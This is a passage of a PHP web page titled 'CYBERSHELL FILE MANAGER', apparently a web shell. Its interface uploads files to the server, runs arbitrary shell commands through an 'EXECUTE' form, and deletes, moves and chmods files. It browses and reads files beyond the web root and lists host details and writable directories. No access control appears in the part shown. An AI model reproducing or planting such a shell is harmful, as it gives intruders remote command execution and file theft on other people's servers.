            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        .path-btn:hover {
            background: #00ff00;
            color: #000;
        }
        .file-operations {
            background: #111;
            padding: 15px;
            border-radius: 3px;
            margin-bottom: 20px;
            border: 1px solid #333;
        }
        .operation-form {
            display: flex;
            gap: 10px;
            margin-bottom: 10px;
            align-items: center;
            flex-wrap: wrap;
        }
        .operation-input {
            background: #000;
            border: 1px solid #00ff00;
            color: #00ff00;
            padding: 6px 10px;
            border-radius: 3px;
            font-family: 'Courier New', monospace;
            font-size: 11px;
            flex: 1;
            min-width: 150px;
        }
        .operation-input:focus {
            outline: none;
            border-color: #ffff00;
            box-shadow: 0 0 5px rgba(255,255,0,0.3);
        }
        .operation-btn {
            background: #000;
            color: #00ff00;
            border: 1px solid #00ff00;
            padding: 6px 12px;
            border-radius: 3px;
            cursor: pointer;
            font-size: 11px;
            text-decoration: none;
            transition: all 0.3s ease;
            display: flex;
            align-items: center;
            gap: 5px;
        }
        .operation-btn:hover {
            background: #00ff00;
            color: #000;
        }
        .operation-btn.danger {
            border-color: #ff0000;
            color: #ff0000;
        }
        .operation-btn.danger:hover {
            background: #ff0000;
            color: #fff;
        }
        .operation-btn.warning {
            border-color: #ffff00;
            color: #ffff00;
        }
        .operation-btn.warning:hover {
            background: #ffff00;
            color: #000;
        }
        .modal {
            display: none;
            position: fixed;
            z-index: 1000;
            left: 0;
            top: 0;
            width: 100%;
            height: 100%;
            background-color: rgba(0,0,0,0.8);
        }
        .modal-content {
            background: #000;
            border: 2px solid #00ff00;
            border-radius: 5px;
            padding: 20px;
            width: 90%;
            max-width: 600px;
            margin: 50px auto;
            position: relative;
        }
        .modal-header {
            display: flex;
            justify-content: space-between;
            align-items: center;
            margin-bottom: 15px;
            border-bottom: 1px solid #00ff00;
            padding-bottom: 10px;
        }
        .close {
            color: #00ff00;
            font-size: 28px;
            font-weight: bold;
            cursor: pointer;
        }
        .close:hover {
            color: #ffff00;
        }
        .terminal-window {
            background: #000;
            border: 1px solid #00ff00;
            padding: 15px;
            border-radius: 3px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            color: #00ff00;
            max-height: 400px;
            overflow-y: auto;
            white-space: pre-wrap;
        }
        .system-info {
            display: grid;
            grid-template-columns: repeat(auto-fit, minmax(250px, 1fr));
            gap: 10px;
            margin-top: 15px;
        }
        .info-card {
            background: #111;
            padding: 10px;
            border-radius: 3px;
            border: 1px solid #333;
        }
        .info-card h4 {
            color: #00ff00;
            margin-bottom: 8px;
            font-size: 12px;
            text-transform: uppercase;
        }
        .info-card pre {
            color: #888;
            font-size: 10px;
            margin: 0;
            white-space: pre-wrap;
        }
        .file-header {
            background: #000;
            padding: 12px 15px;
            border-radius: 3px 3px 0 0;
            border: 1px solid #00ff00;
            border-bottom: none;
            font-weight: bold;
            color: #00ff00;
            display: flex;
            align-items: center;
            justify-content: space-between;
            text-transform: uppercase;
            font-size: 14px;
        }
        .file-header .header-left {
            display: flex;
            align-items: center;
            gap: 10px;
        }
        .file-header .header-right {
            font-size: 11px;
            color: #888;
            background: #111;
            padding: 3px 8px;
            border-radius: 3px;
            border: 1px solid #333;
        }
        .upload-section {
            background: #111;
            border: 2px dashed #00ff00;
            border-radius: 5px;
            padding: 20px;
            text-align: center;
            margin-bottom: 20px;
        }
        .upload-section:hover {
            background: #0a0a0a;
            border-color: #ffff00;
        }
        .upload-input {
            display: none;
        }
        .upload-label {
            cursor: pointer;
            padding: 10px 20px;
            background: #000;
            color: #00ff00;
            border: 1px solid #00ff00;
            border-radius: 3px;
            display: inline-block;
            transition: all 0.3s ease;
            text-transform: uppercase;
            font-size: 12px;
        }
        .upload-label:hover {
            background: #00ff00;
            color: #000;
        }
        .message {
            padding: 10px;
            border-radius: 3px;
            margin-bottom: 15px;
            border: 1px solid;
        }
        .message.success { 
            background: #000; 
            color: #00ff00; 
            border-color: #00ff00; 
        }
        .message.error { 
            background: #000; 
            color: #ff0000; 
            border-color: #ff0000; 
        }
        .terminal-output {
            background: #000;
            border: 1px solid #00ff00;
            padding: 15px;
            border-radius: 3px;
            font-family: 'Courier New', monospace;
            font-size: 12px;
            color: #00ff00;
            max-height: 300px;
            overflow-y: auto;
        }
    </style>
</head>
<body>
    <div class="header">
        <div class="header-content">
            <h1><i class="fas fa-terminal"></i> CYBERSHELL FILE MANAGER</h1>
            <a href="?logout=1" class="logout-btn">
                <i class="fas fa-power-off"></i> TERMINATE
            </a>
        </div>
    </div>
    
    <div class="container">
        
        <div class="card">
            <h3><i class="fas fa-upload"></i> FILE UPLOAD MODULE</h3>
            <div class="upload-section">
                <form method="post" enctype="multipart/form-data" id="uploadForm">
                    <input type="file" name="upload_file" id="uploadInput" class="upload-input" multiple>
                    <label for="uploadInput" class="upload-label">
                        <i class="fas fa-cloud-upload-alt"></i> SELECT FILES
                    </label>
                    <button type="submit" class="btn btn-primary" style="margin-left: 10px;">
                        <i class="fas fa-upload"></i> UPLOAD
                    </button>
                </form>
            </div>
        </div>
        
        
        <div class="card">
            <h3><i class="fas fa-tools"></i> FILE OPERATIONS</h3>
            <div class="file-operations">
                
                <form method="post" class="operation-form">
                    <input type="hidden" name="action" value="create_dir">
                    <input type="text" name="dir_name" placeholder="New directory name" class="operation-input" required>
                    <button type="submit" class="operation-btn">
                        <i class="fas fa-folder-plus"></i> CREATE DIR
                    </button>
                </form>
                
                
                <form method="post" class="operation-form">
                    <input type="hidden" name="action" value="delete">
                    <input type="text" name="item" placeholder="File/directory to delete" class="operation-input" required>
                    <button type="submit" class="operation-btn danger" onclick="return confirm('Are you sure you want to delete this item?')">
                        <i class="fas fa-trash"></i> DELETE
                    </button>
                </form>
                
                
                <form method="post" class="operation-form">
                    <input type="hidden" name="action" value="copy">
                    <input type="text" name="source" placeholder="Source file/directory" class="operation-input" required>
                    <input type="text" name="destination" placeholder="Destination name" class="operation-input" required>
                    <button type="submit" class="operation-btn">
                        <i class="fas fa-copy"></i> COPY
                    </button>
                </form>
                
                
                <form method="post" class="operation-form">
                    <input type="hidden" name="action" value="move">
                    <input type="text" name="source" placeholder="Source file/directory" class="operation-input" required>
                    <input type="text" name="destination" placeholder="Destination name" class="operation-input" required>
                    <button type="submit" class="operation-btn warning">
                        <i class="fas fa-cut"></i> MOVE
                    </button>
                </form>
                
                
                <form method="post" class="operation-form">
                    <input type="hidden" name="action" value="chmod">
                    <input type="text" name="item" placeholder="File/directory" class="operation-input" required>
                    <input type="text" name="permissions" placeholder="Permissions (e.g., 755)" class="operation-input" required>
                    <button type="submit" class="operation-btn">
                        <i class="fas fa-shield-alt"></i> CHMOD
                    </button>
                </form>
                
                
                <form method="post" class="operation-form">
                    <input type="hidden" name="action" value="execute">
                    <input type="text" name="command" placeholder="Shell command" class="operation-input" required>
                    <button type="submit" class="operation-btn warning">
                        <i class="fas fa-terminal"></i> EXECUTE
                    </button>
                </form>
            </div>
        </div>
        
        
        <div class="card">
            <h3><i class="fas fa-cogs"></i> SYSTEM STATUS</h3>
            <?php
            $requirements = checkSystemRequirements();
            $system_info = getSystemInfo();
            ?>
            <div style="display: grid; grid-template-columns: repeat(auto-fit, minmax(200px, 1fr)); gap: 10px; margin-top: 15px;">
                <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;">
                    <strong>ZipArchive:</strong> 
                    <span style="color: <?php echo $requirements['ziparchive'] ? '#00ff00' : '#ff0000'; ?>">
                        <?php echo $requirements['ziparchive'] ? 'Available' : 'Not Available'; ?>
                    </span>
                </div>
                <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;">
                    <strong>Exec Function:</strong> 
                    <span style="color: <?php echo $requirements['exec'] ? '#00ff00' : '#ff0000'; ?>">
                        <?php echo $requirements['exec'] ? 'Available' : 'Not Available'; ?>
                    </span>
                </div>
                <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;">
                    <strong>Zip Command:</strong> 
                    <span style="color: <?php echo $requirements['zip_command'] ? '#00ff00' : '#ff0000'; ?>">
                        <?php echo $requirements['zip_command'] ? 'Available' : 'Not Available'; ?>
                    </span>
                </div>
                <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;">
                    <strong>Tar Command:</strong> 
                    <span style="color: <?php echo $requirements['tar_command'] ? '#00ff00' : '#ff0000'; ?>">
                        <?php echo $requirements['tar_command'] ? 'Available' : 'Not Available'; ?>
                    </span>
                </div>
                <div style="background: #111; padding: 10px; border-radius: 3px; border: 1px solid #333;">
                    <strong>Temp Directory:</strong> 
                    <span style="color: <?php echo $requirements['temp_writable'] ? '#00ff00' : '#ff0000'; ?>">
                        <?php echo $requirements['temp_writable'] ? 'Writable' : 'Not Writable'; ?>
                    </span>
                </div>
            </div>
            
            
            <div class="system-info">
                <div class="info-card">
                    <h4>PHP Information</h4>
                    <pre>Version: <?php echo $system_info['php_version']; ?>
OS: <?php echo $system_info['php_os']; ?>
Server: <?php echo $system_info['server_software']; ?></pre>
                </div>
                <?php if (isset($system_info['hostname'])): ?>
                <div class="info-card">
                    <h4>System Information</h4>
                    <pre>Hostname: <?php echo $system_info['hostname']; ?>
Kernel: <?php echo $system_info['kernel']; ?>
Uptime: <?php echo $system_info['uptime']; ?></pre>
                </div>
                <div class="info-card">
                    <h4>Disk Usage</h4>
                    <pre><?php echo $system_info['disk_usage']; ?></pre>
                </div>
                <div class="info-card">
                    <h4>Memory Info</h4>
                    <pre><?php echo $system_info['memory_info']; ?></pre>
                </div>
                <?php endif; ?>
            </div>
        </div>
        
        
        <div class="card">
            <h3><i class="fas fa-folder-open"></i> PATH NAVIGATOR</h3>
            <?php
            $current_dir = getCurrentPath();
            $base_dir = dirname(__DIR__);
            $relative_path = str_replace($base_dir, '', $current_dir);
            ?>
            <div class="path-navigator">
                <div class="breadcrumb">
                    <?php echo getBreadcrumb($current_dir); ?>
                </div>
                <form method="get" style="margin-bottom: 15px;">
                    <input type="text" name="path" value="<?php echo htmlspecialchars($relative_path); ?>" 
                           class="path-input" placeholder="Enter path (e.g., user, public_html, etc.)">
                    <div class="path-actions">
                        <button type="submit" class="path-btn">
                            <i class="fas fa-search"></i> GO TO PATH
                        </button>
                        <a href="<?php echo getParentDirectory($current_dir); ?>" class="path-btn">
                            <i class="fas fa-level-up-alt"></i> PARENT DIR
                        </a>
                        <a href="?path=" class="path-btn">
                            <i class="fas fa-home"></i> HOME
                        </a>
                        <a href="?path=public_html" class="path-btn">
                            <i class="fas fa-globe"></i> PUBLIC_HTML
                        </a>
                        <a href="?path=user" class="path-btn">
                            <i class="fas fa-user"></i> USER
                        </a>
                        <a href="?path=public_html" class="path-btn">
                            <i class="fas fa-globe"></i> PUBLIC_HTML
                        </a>
                        <a href="?path=.." class="path-btn">
                            <i class="fas fa-level-up-alt"></i> UP ONE LEVEL
                        </a>
                        <a href="?path=../.." class="path-btn">
                            <i class="fas fa-level-up-alt"></i> UP TWO LEVELS
                        </a>
                        <a href="?debug_path=1" class="path-btn">
                            <i class="fas fa-bug"></i> DEBUG PATHS
                        </a>
                    </div>
                </form>
                <div style="font-size: 11px; color: #888;">
                    <strong>Current Path:</strong> <?php echo htmlspecialchars($current_dir); ?><br>
                    <strong>Base Directory:</strong> <?php echo htmlspecialchars($base_dir); ?><br>
                    <strong>Available Directories:</strong> 
                    <?php
                    $common_dirs = getCommonDirectories();
                    $available_dirs = array();
                    foreach ($common_dirs as $name => $path) {
                        $available_dirs[] = $name . ' (' . $path . ')';
                    }
                    echo implode(', ', $available_dirs);
                    ?>
                </div>
            </div>
        </div>
        
        
        <div class="card">
            <div class="file-header">
                <div class="header-left">
                    <i class="fas fa-list"></i> FILE SYSTEM BROWSER
                </div>
                <div class="header-right">
                    <span>PATH: <?php echo htmlspecialchars($relative_path ?: basename(__DIR__)); ?></span>
                </div>
            </div>
            <div class="file-grid">
                <?php
                // $current_dir sudah didefinisikan di atas
                $files = @scandir($current_dir);
                
                if ($files === false) {
                    echo '<div class="message error">Cannot read directory</div>';
                } else {
                    foreach ($files as $file) {
                        if ($file === '.' || $file === '..') continue;
                        
                        $file_path = $current_dir . '/' . $file;
                        $is_dir = @is_dir($file_path);
                        
                        // Calculate size for directories and files
                        if ($is_dir) {
                            $folder_size = getFolderSize($file_path);
                            $size = formatFileSize($folder_size);
                            
                            // Count files and subdirectories
                            $file_count = 0;
                            $dir_count = 0;
                            $iterator = new RecursiveIteratorIterator(
                                new RecursiveDirectoryIterator($file_path, RecursiveDirectoryIterator::SKIP_DOTS),
                                RecursiveIteratorIterator::SELF_FIRST
                            );
                            foreach ($iterator as $item) {
                                if ($item->isDir()) {
                                    $dir_count++;
                                } else {
                                    $file_count++;
                                }
                            }
                            $size .= " ($file_count files, $dir_count dirs)";
                        } else {
                            $file_size = @filesize($file_path);
                            $size = $file_size ? formatFileSize($file_size) : '0 bytes';
                        }
                        
                        $icon = $is_dir ? 'fas fa-folder' : 'fas fa-file';
                        $icon_class = $is_dir ? 'folder' : 'file';
                        
                        // Get additional file information
                        $mod_time = @filemtime($file_path);
                        $mod_date = $mod_time ? date('Y-m-d H:i:s', $mod_time) : 'Unknown';
                        $perms = @fileperms($file_path);
                        $perms_str = $perms !== false ? substr(sprintf('%o', $perms), -4) : '????';
                        $file_ext = $is_dir ? '' : pathinfo($file, PATHINFO_EXTENSION);
                        $file_type = $is_dir ? 'Directory' : ($file_ext ? strtoupper($file_ext) . ' File' : 'File');
                        
                        echo '<div class="file-item">';
                        echo '<div class="file-info-left">';
                        echo '<div class="file-icon ' . $icon_class . '"><i class="' . $icon . '"></i></div>';
                        echo '<div class="file-details">';
                        echo '<div class="file-name">' . htmlspecialchars($file) . '</div>';
                        echo '<div class="file-info">';
                        echo '<span><i class="fas fa-file"></i> ' . $file_type . '</span>';
                        echo '<span><i class="fas fa-weight-hanging"></i> ' . $size . '</span>';
                        echo '<span><i class="fas fa-calendar"></i> ' . $mod_date . '</span>';
                        echo '<span><i class="fas fa-shield-alt"></i> ' . $perms_str . '</span>';
                        echo '</div>';
                        echo '</div>';
                        echo '</div>';
                        echo '<div class="file-actions">';
                        if ($is_dir) {
                            // Add navigation button for directories
                            $new_path = $relative_path . '/' . $file;
                            echo '<a href="?path=' . urlencode($new_path) . '" class="btn btn-success" title="Enter Directory"><i class="fas fa-sign-in-alt"></i></a>';
                            echo '<a href="?download_folder=' . urlencode($file) . '" class="btn btn-folder" title="Download Folder as ZIP"><i class="fas fa-download"></i> ZIP</a>';
                            echo '<a href="?download_folder=' . urlencode($file) . '&debug=1" class="btn btn-danger" title="Debug Download"><i class="fas fa-bug"></i></a>';
                        } else {
                            echo '<a href="?download=' . urlencode($file) . '" class="btn btn-primary" title="Download"><i class="fas fa-download"></i></a>';
                        }
                        echo '<a href="?view=' . urlencode($file) . '" class="btn btn-success" title="View"><i class="fas fa-eye"></i></a>';
                        
                        // Add quick action buttons
                        echo '<button onclick="quickDelete(\'' . htmlspecialchars($file) . '\')" class="btn btn-danger" title="Delete"><i class="fas fa-trash"></i></button>';
                        echo '<button onclick="quickCopy(\'' . htmlspecialchars($file) . '\')" class="btn btn-primary" title="Copy"><i class="fas fa-copy"></i></button>';
                        echo '<button onclick="quickChmod(\'' . htmlspecialchars($file) . '\')" class="btn btn-warning" title="Change Permissions"><i class="fas fa-shield-alt"></i></button>';
                        echo '</div>';
                        echo '</div>';
                    }
                }
                ?>
            </div>
        </div>
    </div>
    
    <?php
    // Display messages
    if (isset($_GET['msg'])) {
        $msg = $_GET['msg'];
        $message = '';
        $type = 'success';
        
        switch ($msg) {
            case 'dir_created':
                $message = 'Directory created successfully!';
                break;
            case 'item_deleted':
                $message = 'Item deleted successfully!';
                break;
            case 'item_copied':
                $message = 'Item copied successfully!';
                break;
            case 'item_moved':
                $message = 'Item moved successfully!';
                break;
            case 'permissions_changed':
                $message = 'Permissions changed successfully!';
                break;
        }
        
        if ($message) {
            echo '<div class="container"><div class="message ' . $type . '">' . $message . '</div></div>';
        }
    }
    
    if (isset($_GET['error'])) {
        $error = $_GET['error'];
        $message = '';
        
        switch ($error) {
            case 'dir_create_failed':
                $message = 'Failed to create directory!';
                break;
            case 'delete_failed':
                $message = 'Failed to delete item!';
                break;
            case 'copy_failed':
                $message = 'Failed to copy item!';
                break;
            case 'move_failed':
                $message = 'Failed to move item!';
                break;
            case 'chmod_failed':
                $message = 'Failed to change permissions!';
                break;
            case 'invalid_dir_name':
                $message = 'Invalid directory name!';
                break;
            case 'invalid_path':
                $message = 'Invalid path!';
                break;
            case 'invalid_permissions':
                $message = 'Invalid permissions format!';
                break;
        }
        
        if ($message) {
            echo '<div class="container"><div class="message error">' . $message . '</div></div>';
        }
    }
    
    // Display command result
    if (isset($_GET['show_result']) && isset($_SESSION['command_result'])) {
        $result = $_SESSION['command_result'];
        echo '<div class="container"><div class="card">';
        echo '<h3>Command Execution Result</h3>';
        echo '<div class="terminal-window">';
        echo '<strong>Command:</strong> ' . htmlspecialchars($result['command'] ?? 'Unknown') . "\n\n";
        echo '<strong>Success:</strong> ' . ($result['success'] ? 'Yes' : 'No') . "\n";
        echo '<strong>Return Code:</strong> ' . $result['return_code'] . "\n\n";
        echo '<strong>Output:</strong>\n';
        echo htmlspecialchars($result['output']);
        echo '</div></div></div>';
        unset($_SESSION['command_result']);
    }
    
    // Handle file upload
    if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['upload_file'])) {
        $upload_file = $_FILES['upload_file'];
        if ($upload_file['error'] === UPLOAD_ERR_OK) {
            $current_dir = getCurrentPath();
            $dest = $current_dir . '/' . basename($upload_file['name']);
            if (@move_uploaded_file($upload_file['tmp_name'], $dest)) {
                echo '<div class="container"><div class="message success">File uploaded successfully!</div></div>';
            } else {
                echo '<div class="container"><div class="message error">Upload failed!</div></div>';
            }
        } else {
            echo '<div class="container"><div class="message error">Upload error: ' . $upload_file['error'] . '</div></div>';
        }
    }

// Handle debug information
    if (isset($_GET['debug']) && isset($_GET['download_folder'])) {
        $current_dir = getCurrentPath();
        $folder = $_GET['download_folder'];
        $folder_path = $current_dir . '/' . $folder;
        
        echo '<div class="container"><div class="card">';
        echo '<h3>Debug Information</h3>';
        echo '<div class="terminal-output">';
        echo 'Folder Path: ' . $folder_path . "\n";
        echo 'Folder Exists: ' . (is_dir($folder_path) ? 'Yes' : 'No') . "\n";
        echo 'Folder Readable: ' . (is_readable($folder_path) ? 'Yes' : 'No') . "\n";
        echo 'Temp Directory: ' . sys_get_temp_dir() . "\n";
        echo 'Temp Writable: ' . (is_writable(sys_get_temp_dir()) ? 'Yes' : 'No') . "\n";
        echo 'ZipArchive Available: ' . (class_exists('ZipArchive') ? 'Yes' : 'No') . "\n";
        echo 'Exec Available: ' . (function_exists('exec') ? 'Yes' : 'No') . "\n";
        
        // Test system commands
        if (function_exists('exec')) {
            echo "\n=== System Commands Test ===\n";
            exec('which zip', $zip_output, $zip_return);
            echo 'Zip Command: ' . ($zip_return === 0 ? 'Available' : 'Not Available') . "\n";
            
            exec('which tar', $tar_output, $tar_return);
            echo 'Tar Command: ' . ($tar_return === 0 ? 'Available' : 'Not Available') . "\n";
            
            // Test creating a small zip
            $test_zip = sys_get_temp_dir() . '/test_' . time() . '.zip';
            exec("echo 'test' > " . sys_get_temp_dir() . "/test.txt && zip $test_zip " . sys_get_temp_dir() . "/test.txt", $test_output, $test_return);
            echo 'Zip Test: ' . ($test_return === 0 ? 'Success' : 'Failed') . "\n";
            
            // Cleanup test files
            @unlink(sys_get_temp_dir() . '/test.txt');
            @unlink($test_zip);
        }
        
        echo '</div></div>';
    }
    
    // Handle path debug information
    if (isset($_GET['debug_path'])) {
        $path_info = debugPathInfo();
        
        echo '<div class="container"><div class="card">';
        echo '<h3>Path Debug Information</h3>';
        echo '<div class="terminal-output">';
        echo "=== Current Path Information ===\n";
        echo 'Current Directory: ' . $path_info['current_dir'] . "\n";
        echo 'Base Directory: ' . $path_info['base_dir'] . "\n";
        echo 'Document Root: ' . $path_info['document_root'] . "\n";
        echo 'Script Directory: ' . $path_info['script_dir'] . "\n";
        
        echo "\n=== Common Directories ===\n";
        foreach ($path_info['common_dirs'] as $name => $path) {
            echo "$name: $path (" . (is_dir($path) ? "EXISTS" : "NOT FOUND") . ")\n";
        }
        
        echo "\n=== Directory Permissions ===\n";
        $dirs_to_check = array(
            'Current Dir' => $path_info['current_dir'],
            'Base Dir' => $path_info['base_dir'],
            'Document Root' => $path_info['document_root'],
            'Script Dir' => $path_info['script_dir']
        );
        
        foreach ($dirs_to_check as $name => $path) {
            echo "$name:\n";
            echo "  - Exists: " . (is_dir($path) ? "Yes" : "No") . "\n";
            echo "  - Readable: " . (is_readable($path) ? "Yes" : "No") . "\n";
            echo "  - Writable: " . (is_writable($path) ? "Yes" : "No") . "\n";
        }
        
        echo '</div></div>';
    }
    
    // Handle file view
    if (isset($_GET['view'])) {
        $current_dir = getCurrentPath();
        $file = $_GET['view'];
        $file_path = $current_dir . '/' . $file;
        
        if (@file_exists($file_path) && @is_file($file_path)) {
            $content = @file_get_contents($file_path);
            if ($content !== false) {
                echo '<div class="container"><div class="card">';
                echo '<h3>Viewing: ' . htmlspecialchars($file) . '</h3>';
                echo '<pre style="background: #f8f9fa; padding: 15px; border-radius: 5px; overflow-x: auto;">';
                echo htmlspecialchars($content);
                echo '</pre></div></div>';
            }
        }
    }
    ?>
    
    <script>
        // Show selected files
        document.getElementById('uploadInput').addEventListener('change', function() {
            const files = this.files;
            if (files.length > 0) {
                const label = document.querySelector('.upload-label');
                label.textContent = files.length + ' file(s) selected';
            }
        });
        
        // Quick action functions
        function quickDelete(filename) {
            if (confirm('Are you sure you want to delete "' + filename + '"?')) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="delete">
                    <input type="hidden" name="item" value="${filename}">
                `;
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        function quickCopy(filename) {
            const newName = prompt('Enter new name for copy:', filename + '_copy');
            if (newName && newName.trim()) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="copy">
                    <input type="hidden" name="source" value="${filename}">
                    <input type="hidden" name="destination" value="${newName.trim()}">
                `;
                document.body.appendChild(form);
                form.submit();
            }
        }
        
        function quickChmod(filename) {
            const permissions = prompt('Enter permissions (e.g., 755, 644):', '755');
            if (permissions && /^[0-7]{3,4}$/.test(permissions)) {
                const form = document.createElement('form');
                form.method = 'POST';
                form.innerHTML = `
                    <input type="hidden" name="action" value="chmod">
                    <input type="hidden" name="item" value="${filename}">
                    <input type="hidden" name="permissions" value="${permissions}">
                `;
                document.body.appendChild(form);
                form.submit();
            } else if (permissions) {
                alert('Invalid permissions format! Use numbers like 755, 644, etc.');
            }
        }
        
        // Auto-refresh system info every 30 seconds
        setInterval(function() {
            // You can add auto-refresh functionality here
        }, 30000);
    </script>
</body>
</html>